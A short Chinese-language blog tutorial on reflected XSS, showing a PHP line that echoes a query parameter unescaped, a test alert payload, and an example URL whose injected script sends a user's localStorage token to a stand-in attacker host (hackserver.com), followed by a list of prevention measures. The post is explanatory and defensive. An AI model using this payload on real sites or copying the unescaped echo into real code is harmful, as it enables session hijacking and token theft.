XSS攻击原理与解决方案

2020-09-27  本文已影响0人  geeklibin

简介

跨站脚本攻击(Cross Site Scripting)缩写CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故取名Xss,Xss攻击是网络安全攻击中非常常见的一种攻击方式。它是对网页注入可执行脚本的一种攻击方式。

1、反射型XSS

假设我们的网站中有这样一行代码:

...
<span>输入:<?php echo $_GET['input'];?></span>
...

这是一个简单的页面,$_GET获取了变量名为input的值,通过echo函数输出了值。
这个时候我们访问:domain.com/index.php?input=helloworld

image.png
页面会出现“输入:helloworld”,一切看起来都很正常。
但是我们输入一些javascript呢?
例如在浏览器里访问:domain.com/index.php?input=<script>alert('xss')</script>
image.png
没错它弹窗了。
但这并没有实际意义,但是通过这个原理知道了,输入javascript代码是可以被执行的。当我们输入一些其他复杂代码,比如document.cookie就会盗取用户cookie信息,或读取其他重要信息。
攻击例子

还是刚刚这个网页,我们假设某个用户的这个网页中的localstorage中保存着用户token。再假设这时候访问:domain.com/index.php?input=<script>location.href='http://hackserver.com/?xss='+localStorage.getItem('token')</script>
这正是将 授权登陆的token发送给了攻击者的服务器,攻击者拿到token就等于拿到了登陆态,攻击者正是通过发送此类似链接,诱导用户点击进行攻击。因此不要点击陌生链接。

如何预防

1、不要相信用户输入,过滤所有的HTTP Request参数。
2、用户输入长度限制。
3、http-only,禁止js读取某些cookie。
4、避免拼接html。
5、避免内联事件。如<button onclick="load('{{ data }}')">点</button>
6、主动检测和发现

上一篇下一篇

猜你喜欢

热点阅读